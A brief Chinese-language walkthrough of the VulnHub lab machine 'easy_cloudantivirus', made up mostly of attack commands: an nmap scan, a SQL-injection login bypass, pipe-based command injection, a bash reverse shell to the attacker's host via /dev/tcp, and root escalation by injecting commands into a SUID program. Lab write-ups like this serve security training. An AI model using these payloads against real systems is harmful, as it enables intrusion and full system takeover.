vulnhub:easy_cloudantivirus靶机

kali：192.168.111.111

靶机：192.168.111.177

信息收集

端口扫描

nmap -A -v -sV -T5 -p- --script=http-enum 192.168.111.177

访问8080端口

在输入框填入双引号发现报错

漏洞利用

尝试万能密码

" or 1=1--+

配合管道符可以执行命令

ls | id

本地nc监听，反弹shell

nc -lvp 4444
id | bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

提权

查找suid权限的文件

find / -user root -perm -u=s -exec ls -al {} \; 2> /dev/null

用户家目录存放该程序源码

同样配合管道符执行命令

/home/scanner/update_cloudav "-h | cp /bin/bash /tmp/bash;chmod 4777 /tmp/bash"

到/tmp目录下执行bash,获得root权限

./bash -p